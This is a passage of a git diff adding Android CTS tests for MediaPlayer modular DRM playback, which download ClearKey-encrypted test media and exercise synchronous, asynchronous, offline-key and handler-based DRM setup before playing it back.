+import android.media.audiofx.Visualizer;
+import android.media.cts.Preconditions;
+import android.media.cts.Utils;
+import android.net.Uri;
+import android.os.Environment;
+import android.os.IBinder;
+import android.os.PowerManager;
+import android.os.ServiceManager;
+import android.os.SystemClock;
+import android.platform.test.annotations.AppModeFull;
+import android.util.Log;
+
+import com.android.compatibility.common.util.MediaUtils;
+
+import java.io.BufferedReader;
+import java.io.File;
+import java.io.InputStream;
+import java.io.InputStreamReader;
+import java.util.List;
+import java.util.StringTokenizer;
+import java.util.UUID;
+import java.util.Vector;
+import java.util.concurrent.CountDownLatch;
+
+import junit.framework.AssertionFailedError;
+
+/**
+ * Tests for the MediaPlayer API and local video/audio playback.
+ */
+@AppModeFull(reason = "TODO: evaluate and port to instant")
+public class MediaPlayerDrmTest extends MediaPlayerDrmTestBase {
+
+    private static final String LOG_TAG = "MediaPlayerDrmTest";
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        super.tearDown();
+    }
+
+
+    //////////////////////////////////////////////////////////////////////////////////////////////
+    // Asset helpers
+
+    private static Uri getUriFromFile(String path) {
+        return Uri.fromFile(new File(getDownloadedPath(path)));
+    }
+
+    private static String getDownloadedPath(String fileName) {
+        return getDownloadedFolder() + File.separator + fileName;
+    }
+
+    private static String getDownloadedFolder() {
+        return Environment.getExternalStoragePublicDirectory(
+                Environment.DIRECTORY_DOWNLOADS).getPath();
+    }
+
+    private static final class Resolution {
+        public final boolean isHD;
+        public final int width;
+        public final int height;
+
+        public Resolution(boolean isHD, int width, int height) {
+            this.isHD = isHD;
+            this.width = width;
+            this.height = height;
+        }
+    }
+
+    private static final Resolution RES_720P  = new Resolution(true, 1280,  720);
+    private static final Resolution RES_AUDIO = new Resolution(false,   0,    0);
+
+
+    // Assets
+
+    private static final String CENC_AUDIO_PATH = "/cenc/clearkey/car_cenc-20120827-8c-pssh.mp4";
+    private static final Uri CENC_AUDIO_URL_DOWNLOADED = getUriFromFile("car_cenc-20120827-8c.mp4");
+
+    private static final String CENC_VIDEO_PATH = "/cenc/clearkey/car_cenc-20120827-88-pssh.mp4";
+    private static final Uri CENC_VIDEO_URL_DOWNLOADED = getUriFromFile("car_cenc-20120827-88.mp4");
+
+
+    // Tests
+
+    public void testCAR_CLEARKEY_AUDIO_DOWNLOADED_V0_SYNC() throws Exception {
+        download(Uri.parse(Utils.getMediaPath() + CENC_AUDIO_PATH),
+                CENC_AUDIO_URL_DOWNLOADED,
+                RES_AUDIO,
+                ModularDrmTestType.V0_SYNC_TEST);
+    }
+
+    public void testCAR_CLEARKEY_AUDIO_DOWNLOADED_V1_ASYNC() throws Exception {
+        download(Uri.parse(Utils.getMediaPath() + CENC_AUDIO_PATH),
+                CENC_AUDIO_URL_DOWNLOADED,
+                RES_AUDIO,
+                ModularDrmTestType.V1_ASYNC_TEST);
+    }
+
+    public void testCAR_CLEARKEY_AUDIO_DOWNLOADED_V2_SYNC_CONFIG() throws Exception {
+        download(Uri.parse(Utils.getMediaPath() + CENC_AUDIO_PATH),
+                CENC_AUDIO_URL_DOWNLOADED,
+                RES_AUDIO,
+                ModularDrmTestType.V2_SYNC_CONFIG_TEST);
+    }
+
+    public void testCAR_CLEARKEY_AUDIO_DOWNLOADED_V3_ASYNC_DRMPREPARED() throws Exception {
+        download(Uri.parse(Utils.getMediaPath() + CENC_AUDIO_PATH),
+                CENC_AUDIO_URL_DOWNLOADED,
+                RES_AUDIO,
+                ModularDrmTestType.V3_ASYNC_DRMPREPARED_TEST);
+    }
+
+    public void testCAR_CLEARKEY_AUDIO_DOWNLOADED_V5_ASYNC_WITH_HANDLER() throws Exception {
+        download(Uri.parse(Utils.getMediaPath() + CENC_AUDIO_PATH),
+                CENC_AUDIO_URL_DOWNLOADED,
+                RES_AUDIO,
+                ModularDrmTestType.V5_ASYNC_DRMPREPARED_TEST_WITH_HANDLER);
+    }
+
+    // helpers
+
+    private void stream(Uri uri, Resolution res, ModularDrmTestType testType) throws Exception {
+        playModularDrmVideo(uri, res.width, res.height, testType);
+    }
+
+    private void download(Uri remote, Uri local, Resolution res, ModularDrmTestType testType)
+            throws Exception {
+        playModularDrmVideoDownload(remote, local, res.width, res.height, testType);
+    }
+
+}
diff --git a/tests/tests/media/drmframework/src/android/media/drmframework/cts/MediaPlayerDrmTestBase.java b/tests/tests/media/drmframework/src/android/media/drmframework/cts/MediaPlayerDrmTestBase.java
new file mode 100644
index 0000000..8f3f52e
--- /dev/null
+++ b/tests/tests/media/drmframework/src/android/media/drmframework/cts/MediaPlayerDrmTestBase.java
@@ -0,0 +1,1135 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.media.drmframework.cts;
+
+import android.app.DownloadManager;
+import android.app.DownloadManager.Request;
+
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.content.pm.PackageManager;
+import android.content.res.AssetFileDescriptor;
+import android.content.res.Resources;
+import android.media.MediaDrm;
+import android.media.MediaPlayer;
+import android.media.MediaPlayer.DrmInfo;
+import android.media.ResourceBusyException;
+import android.media.UnsupportedSchemeException;
+import android.media.cts.MediaStubActivity;
+import android.media.cts.TestUtils.Monitor;
+import android.net.Uri;
+import android.os.Handler;
+import android.os.HandlerThread;
+import android.os.Looper;
+import android.os.Message;
+import android.os.PersistableBundle;
+import android.os.SystemClock;
+import android.test.ActivityInstrumentationTestCase2;
+import android.util.Base64;
+import android.util.Log;
+
+import com.android.compatibility.common.util.MediaUtils;
+
+import java.io.ByteArrayOutputStream;
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.OutputStream;
+import java.net.HttpCookie;
+import java.net.HttpURLConnection;
+import java.net.URL;
+import java.nio.charset.Charset;
+import java.nio.ByteBuffer;
+import java.util.Arrays;
+import java.util.HashMap;
+import java.util.HashSet;
+import java.util.List;
+import java.util.Map;
+import java.util.Set;
+import java.util.UUID;
+import java.util.Vector;
+import java.util.logging.Logger;
+import java.util.concurrent.atomic.AtomicBoolean;
+
+import org.json.JSONArray;
+import org.json.JSONException;
+import org.json.JSONObject;
+
+
+/**
+ * Base class for tests which use MediaPlayer to play audio or video.
+ */
+public class MediaPlayerDrmTestBase extends ActivityInstrumentationTestCase2<MediaStubActivity> {
+    protected static final int STREAM_RETRIES = 3;
+
+    protected Monitor mOnVideoSizeChangedCalled = new Monitor();
+    protected Monitor mOnErrorCalled = new Monitor();
+
+    protected Context mContext;
+    protected Resources mResources;
+
+    protected MediaPlayer mMediaPlayer = null;
+    protected MediaStubActivity mActivity;
+
+    public MediaPlayerDrmTestBase() {
+        super(MediaStubActivity.class);
+    }
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        mActivity = getActivity();
+        getInstrumentation().waitForIdleSync();
+        try {
+            runTestOnUiThread(new Runnable() {
+                public void run() {
+                    mMediaPlayer = new MediaPlayer();
+                }
+            });
+        } catch (Throwable e) {
+            e.printStackTrace();
+            fail();
+        }
+        mContext = getInstrumentation().getTargetContext();
+        mResources = mContext.getResources();
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        if (mMediaPlayer != null) {
+            mMediaPlayer.release();
+            mMediaPlayer = null;
+        }
+        mActivity = null;
+        super.tearDown();
+    }
+
+    protected void setOnErrorListener() {
+        mMediaPlayer.setOnErrorListener(new MediaPlayer.OnErrorListener() {
+            @Override
+            public boolean onError(MediaPlayer mp, int what, int extra) {
+                mOnErrorCalled.signal();
+                return false;
+            }
+        });
+    }
+
+    private static class PrepareFailedException extends Exception {}
+
+    //////////////////////////////////////////////////////////////////////////////////////////
+    // Modular DRM
+
+    private static final String TAG = "MediaPlayerDrmTestBase";
+
+    protected static final int PLAY_TIME_MS = 60 * 1000;
+    protected byte[] mKeySetId;
+    protected boolean mAudioOnly;
+
+    private static final byte[] CLEAR_KEY_CENC = {
+            (byte)0x1a, (byte)0x8a, (byte)0x20, (byte)0x95,
+            (byte)0xe4, (byte)0xde, (byte)0xb2, (byte)0xd2,
+            (byte)0x9e, (byte)0xc8, (byte)0x16, (byte)0xac,
+            (byte)0x7b, (byte)0xae, (byte)0x20, (byte)0x82
+            };
+
+    private static final UUID CLEARKEY_SCHEME_UUID =
+            new UUID(0x1077efecc0b24d02L, 0xace33c1e52e2fb4bL);
+
+    final byte[] CLEARKEY_PSSH = hexStringToByteArray(
+            "0000003470737368" +  // BMFF box header (4 bytes size + 'pssh')
+            "01000000" +          // Full box header (version = 1 flags = 0)
+            "1077efecc0b24d02" +  // SystemID
+            "ace33c1e52e2fb4b" +
+            "00000001" +          // Number of key ids
+            "60061e017e477e87" +  // Key id
+            "7e57d00d1ed00d1e" +
+            "00000000"            // Size of Data, must be zero
+            );
+
+
+    protected enum ModularDrmTestType {
+        V0_SYNC_TEST,
+        V1_ASYNC_TEST,
+        V2_SYNC_CONFIG_TEST,
+        V3_ASYNC_DRMPREPARED_TEST,
+        V4_SYNC_OFFLINE_KEY,
+        V5_ASYNC_DRMPREPARED_TEST_WITH_HANDLER,
+    }
+
+    // TODO: After living on these tests for a while, we can consider grouping them based on
+    // the asset such that each asset is downloaded once and played back with multiple tests.
+    protected void playModularDrmVideoDownload(Uri uri, Uri path, int width, int height,
+            ModularDrmTestType testType) throws Exception {
+        Uri file = uri;
+        long id = -1;
+        MediaDownloadManager mediaDownloadManager = new MediaDownloadManager(mContext);
+        if (uri.getScheme().startsWith("file")) {
+            Log.i(TAG, "Playing existing file:" + uri);
+            // file = uri;
+        } else {
+            final long DOWNLOAD_TIMEOUT_SECONDS = 600;
+            Log.i(TAG, "Downloading file:" + path);
+            id = mediaDownloadManager.downloadFileWithRetries(
+                    uri, path, DOWNLOAD_TIMEOUT_SECONDS, STREAM_RETRIES);
+            assertFalse("Download " + uri + " failed.", id == -1);
+            file = mediaDownloadManager.getUriForDownloadedFile(id);
+            Log.i(TAG, "Downloaded file:" + path + " id:" + id + " uri:" + file);
+        }
+
+        try {
+            playModularDrmVideo(file, width, height, testType);
+        } finally {
+            if (id != -1) {
+                mediaDownloadManager.removeFile(id);
+            }
+        }
+    }
+
+    protected void playModularDrmVideo(Uri uri, int width, int height,
+            ModularDrmTestType testType) throws Exception {
+        // Force gc for a clean start
+        System.gc();
+
+        playModularDrmVideoWithRetries(uri, width, height, PLAY_TIME_MS, testType);
+    }
+
+    protected void playModularDrmVideoWithRetries(Uri file, Integer width, Integer height,
+            int playTime, ModularDrmTestType testType) throws Exception {
+
+        // first the synchronous variation
+        boolean playedSuccessfully = false;
+        for (int i = 0; i < STREAM_RETRIES; i++) {
+            try {
+                Log.v(TAG, "playVideoWithRetries(" + testType + ") try " + i);
+                playLoadedModularDrmVideo(file, width, height, playTime, testType);
+
+                playedSuccessfully = true;
+                break;
+            } catch (PrepareFailedException e) {
+                // we can fail because of network issues, so try again
+                Log.w(TAG, "playVideoWithRetries(" + testType + ") failed on try " + i +
+                        ", trying playback again");
+                mMediaPlayer.stop();
+                mMediaPlayer.reset();
+            }
+        }
+        assertTrue("Stream did not play successfully after all attempts (syncDrmSetup)",
+                playedSuccessfully);
+    }
+
+    /**
+     * Play a video which has already been loaded with setDataSource().
+     * The DRM setup is performed synchronously.
+     *
+     * @param file data source
+     * @param width width of the video to verify, or null to skip verification
+     * @param height height of the video to verify, or null to skip verification
+     * @param playTime length of time to play video, or 0 to play entire video
+     * @param testType test type
+     */
+    private void playLoadedModularDrmVideo(final Uri file, final Integer width,
+            final Integer height, int playTime, ModularDrmTestType testType) throws Exception {
+
+        switch (testType) {
+            case V0_SYNC_TEST:
+            case V1_ASYNC_TEST:
+            case V2_SYNC_CONFIG_TEST:
+            case V3_ASYNC_DRMPREPARED_TEST:
+            case V5_ASYNC_DRMPREPARED_TEST_WITH_HANDLER:
+                playLoadedModularDrmVideo_Generic(file, width, height, playTime, testType);
+                break;
+
+            case V4_SYNC_OFFLINE_KEY:
+                playLoadedModularDrmVideo_V4_offlineKey(file, width, height, playTime);
+                break;
+        }
+    }
+
+    private void playLoadedModularDrmVideo_Generic(final Uri file, final Integer width,
+            final Integer height, int playTime, ModularDrmTestType testType) throws Exception {
+
+        final float leftVolume = 0.5f;
+        final float rightVolume = 0.5f;
+
+        mAudioOnly = (width == 0);
+
+        try {
+            Log.v(TAG, "playLoadedVideo: setDataSource()");
+            mMediaPlayer.setDataSource(mContext, file);
+        } catch (IOException e) {
+            e.printStackTrace();
+            throw new PrepareFailedException();
+        }
+
+        mMediaPlayer.setDisplay(mActivity.getSurfaceHolder());
+        mMediaPlayer.setScreenOnWhilePlaying(true);
+        mMediaPlayer.setOnVideoSizeChangedListener(new MediaPlayer.OnVideoSizeChangedListener() {
+            @Override
+            public void onVideoSizeChanged(MediaPlayer mp, int w, int h) {
+                Log.v(TAG, "VideoSizeChanged" + " w:" + w + " h:" + h);
+                mOnVideoSizeChangedCalled.signal();
+            }
+        });
+        mMediaPlayer.setOnErrorListener(new MediaPlayer.OnErrorListener() {
+            @Override
+            public boolean onError(MediaPlayer mp, int what, int extra) {
+                fail("Media player had error " + what + " playing video");
+                return true;
+            }
+        });
+
+        try {
+            switch (testType) {
+            case V0_SYNC_TEST:
+                preparePlayerAndDrm_V0_syncDrmSetup();
+                break;
+
+            case V1_ASYNC_TEST:
+                preparePlayerAndDrm_V1_asyncDrmSetup();
+                break;
+
+            case V2_SYNC_CONFIG_TEST:
+                preparePlayerAndDrm_V2_syncDrmSetupPlusConfig();
+                break;
+
+            case V3_ASYNC_DRMPREPARED_TEST:
+                preparePlayerAndDrm_V3_asyncDrmSetupPlusDrmPreparedListener();
+                break;
+
+            case V5_ASYNC_DRMPREPARED_TEST_WITH_HANDLER:
+                preparePlayerAndDrm_V5_asyncDrmSetupWithHandler();
+                break;
+            }
+
+        } catch (IOException e) {
+            e.printStackTrace();
+            throw new PrepareFailedException();
+        }
+
+
+        final Monitor playbackCompleted = new Monitor();
+        mMediaPlayer.setOnCompletionListener(new MediaPlayer.OnCompletionListener() {
+            @Override
+            public void onCompletion(MediaPlayer mp) {
+                Log.v(TAG, "playLoadedVideo: onCompletion");
+                playbackCompleted.signal();
+            }
+        });
+
+        Log.v(TAG, "playLoadedVideo: start()");
+        mMediaPlayer.start();
+        if (!mAudioOnly) {
+            mOnVideoSizeChangedCalled.waitForSignal();
+        }
+        mMediaPlayer.setVolume(leftVolume, rightVolume);
+
+        // waiting to complete
+        if (playTime == 0) {
+            Log.v(TAG, "playLoadedVideo: waiting for playback completion");
+            playbackCompleted.waitForSignal();
+        } else {
+            Log.v(TAG, "playLoadedVideo: waiting while playing for " + playTime);
+            playbackCompleted.waitForSignal(playTime);
+        }
+
+        Log.v(TAG, "playLoadedVideo: stopping");
+        mMediaPlayer.stop();
+        Log.v(TAG, "playLoadedVideo: stopped");
+
+        try {
+            Log.v(TAG, "playLoadedVideo: releaseDrm");
+            mMediaPlayer.releaseDrm();
+        } catch (Exception e) {
+            e.printStackTrace();
+            throw new PrepareFailedException();
+        }
+    }
+
+    private void preparePlayerAndDrm_V0_syncDrmSetup() throws Exception {
+        Log.v(TAG, "preparePlayerAndDrm_V0: calling prepare()");
+        mMediaPlayer.prepare();
+
+        DrmInfo drmInfo = mMediaPlayer.getDrmInfo();
+        if (drmInfo != null) {
+            setupDrm(drmInfo, true /* prepareDrm */, true /* synchronousNetworking */,
+                    MediaDrm.KEY_TYPE_STREAMING);
+            Log.v(TAG, "preparePlayerAndDrm_V0: setupDrm done!");
+        }
+    }
+
+    private void preparePlayerAndDrm_V1_asyncDrmSetup() throws InterruptedException {
+        Monitor onPreparedCalled = new Monitor();
+        final AtomicBoolean asyncSetupDrmError = new AtomicBoolean(false);
+
+        mMediaPlayer.setOnDrmInfoListener(new MediaPlayer.OnDrmInfoListener() {
+            @Override
+            public void onDrmInfo(MediaPlayer mp, DrmInfo drmInfo) {
+                Log.v(TAG, "preparePlayerAndDrm_V1: onDrmInfo" + drmInfo);
+
+                // in the callback (async mode) so handling exceptions here
+                try {
+                    setupDrm(drmInfo, true /* prepareDrm */, true /* synchronousNetworking */,
+                            MediaDrm.KEY_TYPE_STREAMING);
+                } catch (Exception e) {
+                    Log.v(TAG, "preparePlayerAndDrm_V1: setupDrm EXCEPTION " + e);
+                    asyncSetupDrmError.set(true);
+                }
+
+                Log.v(TAG, "preparePlayerAndDrm_V1: onDrmInfo done!");
+            }
+        });
+
+        mMediaPlayer.setOnPreparedListener(new MediaPlayer.OnPreparedListener() {
+            @Override
+            public void onPrepared(MediaPlayer mp) {
+                Log.v(TAG, "preparePlayerAndDrm_V1: onPrepared");
+
+                onPreparedCalled.signal();
+            }
+        });
+
+        Log.v(TAG, "preparePlayerAndDrm_V1: calling prepareAsync()");
+        mMediaPlayer.prepareAsync();
+
+        // Waiting till the player is prepared
+        onPreparedCalled.waitForSignal();
+
+        // to handle setupDrm error (async) in the main thread rather than the callback
+        if (asyncSetupDrmError.get()) {
+            fail("preparePlayerAndDrm_V1: setupDrm");
+        }
+    }
+
+    private void preparePlayerAndDrm_V2_syncDrmSetupPlusConfig() throws Exception {
+        mMediaPlayer.setOnDrmConfigHelper(new MediaPlayer.OnDrmConfigHelper() {
+            @Override
+            public void onDrmConfig(MediaPlayer mp) {
+                String WIDEVINE_SECURITY_LEVEL_3 = "L3";
+                String SECURITY_LEVEL_PROPERTY = "securityLevel";
+
+                try {
+                    String level = mp.getDrmPropertyString(SECURITY_LEVEL_PROPERTY);
+                    Log.v(TAG, "preparePlayerAndDrm_V2: getDrmPropertyString: " +
+                            SECURITY_LEVEL_PROPERTY + " -> " + level);
+                    mp.setDrmPropertyString(SECURITY_LEVEL_PROPERTY, WIDEVINE_SECURITY_LEVEL_3);
+                    level = mp.getDrmPropertyString(SECURITY_LEVEL_PROPERTY);
+                    Log.v(TAG, "preparePlayerAndDrm_V2: getDrmPropertyString: " +
+                            SECURITY_LEVEL_PROPERTY + " -> " + level);
+                } catch (MediaPlayer.NoDrmSchemeException e) {
+                    Log.v(TAG, "preparePlayerAndDrm_V2: NoDrmSchemeException");
+                } catch (Exception e) {
+                    Log.v(TAG, "preparePlayerAndDrm_V2: onDrmConfig EXCEPTION " + e);
+                }
+            }
+        });
+
+        Log.v(TAG, "preparePlayerAndDrm_V2: calling prepare()");
+        mMediaPlayer.prepare();
+
+        DrmInfo drmInfo = mMediaPlayer.getDrmInfo();
+        if (drmInfo != null) {
+            setupDrm(drmInfo, true /* prepareDrm */, true /* synchronousNetworking */,
+                    MediaDrm.KEY_TYPE_STREAMING);
+            Log.v(TAG, "preparePlayerAndDrm_V2: setupDrm done!");
+        }
+    }
+
+    private void preparePlayerAndDrm_V3_asyncDrmSetupPlusDrmPreparedListener()
+            throws InterruptedException {
+        Monitor onPreparedCalled = new Monitor();
+        final AtomicBoolean asyncSetupDrmError = new AtomicBoolean(false);
+
+        mMediaPlayer.setOnDrmInfoListener(new MediaPlayer.OnDrmInfoListener() {
+            @Override
+            public void onDrmInfo(MediaPlayer mp, DrmInfo drmInfo) {
+                Log.v(TAG, "preparePlayerAndDrm_V3: onDrmInfo" + drmInfo);
+
+                // DRM preperation
+                UUID[] supportedSchemes = drmInfo.getSupportedSchemes();
+                if (supportedSchemes.length == 0) {
+                    Log.e(TAG, "preparePlayerAndDrm_V3: onDrmInfo: No supportedSchemes");
+                    asyncSetupDrmError.set(true);
+                    return;
+                }
+
+                // setting up with the first supported UUID
+                // instead of supportedSchemes[0] in GTS
+                UUID drmScheme = CLEARKEY_SCHEME_UUID;
+                Log.d(TAG, "preparePlayerAndDrm_V3: onDrmInfo: selected " + drmScheme);
+
+                try {
+                    Log.v(TAG, "preparePlayerAndDrm_V3: onDrmInfo: calling prepareDrm");
+                    mp.prepareDrm(drmScheme);
+                    Log.v(TAG, "preparePlayerAndDrm_V3: onDrmInfo: called prepareDrm");
+                } catch (Exception e) {
+                    e.printStackTrace();
+                    Log.e(TAG, "preparePlayerAndDrm_V3: onDrmInfo: prepareDrm exception " + e);
+                    asyncSetupDrmError.set(true);
+                    return;
+                }
+
+                Log.v(TAG, "preparePlayerAndDrm_V3: onDrmInfo done!");
+            }
+        });
+
+        mMediaPlayer.setOnDrmPreparedListener(new MediaPlayer.OnDrmPreparedListener() {
+            @Override
+            public void onDrmPrepared(MediaPlayer mp, int status) {
+                Log.v(TAG, "preparePlayerAndDrm_V3: onDrmPrepared status: " + status);
+
+                assertTrue("preparePlayerAndDrm_V3: onDrmPrepared did not succeed",
+                           status == MediaPlayer.PREPARE_DRM_STATUS_SUCCESS);
+
+                DrmInfo drmInfo = mMediaPlayer.getDrmInfo();
+
+                // in the callback (async mode) so handling exceptions here
+                try {
+                    setupDrm(drmInfo, false /* prepareDrm */, true /* synchronousNetworking */,
+                            MediaDrm.KEY_TYPE_STREAMING);
+                } catch (Exception e) {
+                    Log.v(TAG, "preparePlayerAndDrm_V3: setupDrm EXCEPTION " + e);
+                    asyncSetupDrmError.set(true);
+                }
+
+                Log.v(TAG, "preparePlayerAndDrm_V3: onDrmPrepared done!");
+            }
+        });
+
+        mMediaPlayer.setOnPreparedListener(new MediaPlayer.OnPreparedListener() {
+            @Override
+            public void onPrepared(MediaPlayer mp) {
+                Log.v(TAG, "preparePlayerAndDrm_V3: onPrepared");
+
+                onPreparedCalled.signal();
+                Log.v(TAG, "preparePlayerAndDrm_V3: onPrepared done!");
+            }
+        });
+
+        Log.v(TAG, "preparePlayerAndDrm_V3: calling prepareAsync()");
+        mMediaPlayer.prepareAsync();
+
+        // Waiting till the player is prepared
+        onPreparedCalled.waitForSignal();
+
+        // to handle setupDrm error (async) in the main thread rather than the callback
+        if (asyncSetupDrmError.get()) {
+            fail("preparePlayerAndDrm_V3: setupDrm");
+        }
+    }
+
+    private void playLoadedModularDrmVideo_V4_offlineKey(final Uri file, final Integer width,
+            final Integer height, int playTime) throws Exception {
+        final float leftVolume = 0.5f;
+        final float rightVolume = 0.5f;
+
+        mAudioOnly = (width == 0);
+
+        Log.v(TAG, "playLoadedModularDrmVideo_V4_offlineKey: setDisplay " +
+                mActivity.getSurfaceHolder());
+        mMediaPlayer.setDisplay(mActivity.getSurfaceHolder());
+        mMediaPlayer.setScreenOnWhilePlaying(true);
+        mMediaPlayer.setOnVideoSizeChangedListener(new MediaPlayer.OnVideoSizeChangedListener() {
+            @Override
+            public void onVideoSizeChanged(MediaPlayer mp, int w, int h) {
+                Log.v(TAG, "VideoSizeChanged" + " w:" + w + " h:" + h);
+                mOnVideoSizeChangedCalled.signal();
+            }
+        });
+        mMediaPlayer.setOnErrorListener(new MediaPlayer.OnErrorListener() {
+            @Override
+            public boolean onError(MediaPlayer mp, int what, int extra) {
+                fail("Media player had error " + what + " playing video");
+                return true;
+            }
+        });
+
+        final Monitor playbackCompleted = new Monitor();
+        mMediaPlayer.setOnCompletionListener(new MediaPlayer.OnCompletionListener() {
+            @Override
+            public void onCompletion(MediaPlayer mp) {
+                Log.v(TAG, "playLoadedVideo: onCompletion");
+                playbackCompleted.signal();
+            }
+        });
+
+        DrmInfo drmInfo = null;
+
+        for (int round = 0; round < 2 ; round++) {
+            boolean keyRequestRound = (round == 0);
+            boolean restoreRound = (round == 1);
+            Log.v(TAG, "playLoadedVideo: round " + round);
+
+            try {
+                Log.v(TAG, "playLoadedVideo: setDataSource()");
+                mMediaPlayer.setDataSource(mContext, file);
+
+                Log.v(TAG, "playLoadedVideo: prepare()");
+                mMediaPlayer.prepare();
+
+                // but preparing the DRM every time with proper key request type
+                drmInfo = mMediaPlayer.getDrmInfo();
+                if (drmInfo != null) {
+                    if (keyRequestRound) {
+                        // asking for offline keys
+                        setupDrm(drmInfo, true /* prepareDrm */, true /* synchronousNetworking */,
+                                 MediaDrm.KEY_TYPE_OFFLINE);
+                    } else if (restoreRound) {
+                        setupDrmRestore(drmInfo, true /* prepareDrm */);
+                    } else {
+                        fail("preparePlayer: unexpected round " + round);
+                    }
+                    Log.v(TAG, "preparePlayer: setupDrm done!");
+                }
+
+            } catch (IOException e) {
+                e.printStackTrace();
+                throw new PrepareFailedException();
+            }
+
+            Log.v(TAG, "playLoadedVideo: start()");
+            mMediaPlayer.start();
+            if (!mAudioOnly) {
+                mOnVideoSizeChangedCalled.waitForSignal();
+            }
+            mMediaPlayer.setVolume(leftVolume, rightVolume);
+
+            // waiting to complete
+            if (playTime == 0) {
+                Log.v(TAG, "playLoadedVideo: waiting for playback completion");
+                playbackCompleted.waitForSignal();
+            } else {
+                Log.v(TAG, "playLoadedVideo: waiting while playing for " + playTime);
+                playbackCompleted.waitForSignal(playTime);
+            }
+
+            Log.v(TAG, "playLoadedVideo: stopping");
+            mMediaPlayer.stop();
+            Log.v(TAG, "playLoadedVideo: stopped");
+
+            try {
+                if (drmInfo != null) {
+                    if (restoreRound) {
+                        // releasing the offline key
+                        setupDrm(null /* drmInfo */, false /* prepareDrm */,
+                                 true /* synchronousNetworking */, MediaDrm.KEY_TYPE_RELEASE);
+                        Log.v(TAG, "playLoadedVideo: released offline keys");
+                    }
+
+                    Log.v(TAG, "playLoadedVideo: releaseDrm");
+                    mMediaPlayer.releaseDrm();
+                }
+            } catch (Exception e) {
+                e.printStackTrace();
+                throw new PrepareFailedException();
+            }
+
+            if (keyRequestRound) {
+                playbackCompleted.reset();
+                final int SLEEP_BETWEEN_ROUNDS = 1000;
+                Thread.sleep(SLEEP_BETWEEN_ROUNDS);
+
+                Log.v(TAG, "playLoadedVideo: reset");
+                mMediaPlayer.reset();
+            }
+        } // for
+    }
+
+    private void preparePlayerAndDrm_V5_asyncDrmSetupWithHandler()
+            throws InterruptedException {
+        Monitor onPreparedCalled = new Monitor();
+        Monitor onDrmPreparedCalled = new Monitor();
+        final AtomicBoolean asyncSetupDrmError = new AtomicBoolean(false);
+
+        Log.v(TAG, "preparePlayerAndDrm_V5: started " +  Thread.currentThread());
+        final HandlerThread handlerThread = new HandlerThread("ModDrmHandlerThread");
+        handlerThread.start();
+        Handler handler = new Handler(handlerThread.getLooper());
+
+        mMediaPlayer.setOnDrmInfoListener(new MediaPlayer.OnDrmInfoListener() {
+            @Override
+            public void onDrmInfo(MediaPlayer mp, DrmInfo drmInfo) {
+                Log.v(TAG, "preparePlayerAndDrm_V5: onDrmInfo " + drmInfo +
+                        " " + Thread.currentThread());
+
+                // DRM preperation
+                UUID[] supportedSchemes = drmInfo.getSupportedSchemes();
+                if (supportedSchemes.length == 0) {
+                    Log.e(TAG, "preparePlayerAndDrm_V5: onDrmInfo: No supportedSchemes");
+                    asyncSetupDrmError.set(true);
+                    // we won't call prepareDrm anymore but need to get passed the wait
+                    onDrmPreparedCalled.signal();
+                    return;
+                }
+
+                // instead of supportedSchemes[0] in GTS
+                UUID drmScheme = CLEARKEY_SCHEME_UUID;
+                Log.d(TAG, "preparePlayerAndDrm_V5: onDrmInfo: selected " + drmScheme);
+
+                try {
+                    Log.v(TAG, "preparePlayerAndDrm_V5: onDrmInfo: calling prepareDrm");
+                    mp.prepareDrm(drmScheme);
+                    Log.v(TAG, "preparePlayerAndDrm_V5: onDrmInfo: called prepareDrm");
+                } catch (Exception e) {
+                    e.printStackTrace();
+                    Log.e(TAG, "preparePlayerAndDrm_V5: onDrmInfo: prepareDrm exception " + e);
+                    asyncSetupDrmError.set(true);
+                    // need to get passed the wait
+                    onDrmPreparedCalled.signal();
+                    return;
+                }
+
+                Log.v(TAG, "preparePlayerAndDrm_V5: onDrmInfo done!");
+            }
+        }, handler);
+
+        mMediaPlayer.setOnDrmPreparedListener(new MediaPlayer.OnDrmPreparedListener() {
+            @Override
+            public void onDrmPrepared(MediaPlayer mp, int status) {
+                Log.v(TAG, "preparePlayerAndDrm_V5: onDrmPrepared status: " + status +
+                        " " + Thread.currentThread());
+
+                assertTrue("preparePlayerAndDrm_V5: onDrmPrepared did not succeed",
+                        status == MediaPlayer.PREPARE_DRM_STATUS_SUCCESS);
+
+                DrmInfo drmInfo = mMediaPlayer.getDrmInfo();
+
+                // in the callback (async mode) so handling exceptions here
+                try {
+                    setupDrm(drmInfo, false /* prepareDrm */, true /* synchronousNetworking */,
+                            MediaDrm.KEY_TYPE_STREAMING);
+                } catch (Exception e) {
+                    Log.v(TAG, "preparePlayerAndDrm_V5: setupDrm EXCEPTION " + e);
+                    asyncSetupDrmError.set(true);
+                }
+
+                onDrmPreparedCalled.signal();
+                Log.v(TAG, "preparePlayerAndDrm_V5: onDrmPrepared done!");
+            }
+        }, handler);
+
+        mMediaPlayer.setOnPreparedListener(new MediaPlayer.OnPreparedListener() {
+            @Override
+            public void onPrepared(MediaPlayer mp) {
+                Log.v(TAG, "preparePlayerAndDrm_V5: onPrepared " + Thread.currentThread());
+
+                onPreparedCalled.signal();
+                Log.v(TAG, "preparePlayerAndDrm_V5: onPrepared done!");
+            }
+        });
+
+        Log.v(TAG, "preparePlayerAndDrm_V5: calling prepareAsync()");
+        mMediaPlayer.prepareAsync();
+
+        // Waiting till the player is prepared
+        onPreparedCalled.waitForSignal();
+        // Unlike v3, onDrmPrepared is not synced to onPrepared b/c of its own thread handler
+        onDrmPreparedCalled.waitForSignal();
+
+        // to handle setupDrm error (async) in the main thread rather than the callback
+        if (asyncSetupDrmError.get()) {
+            fail("preparePlayerAndDrm_V5: setupDrm");
+        }
+
+        // stop the handler thread; callbacks are processed by now.
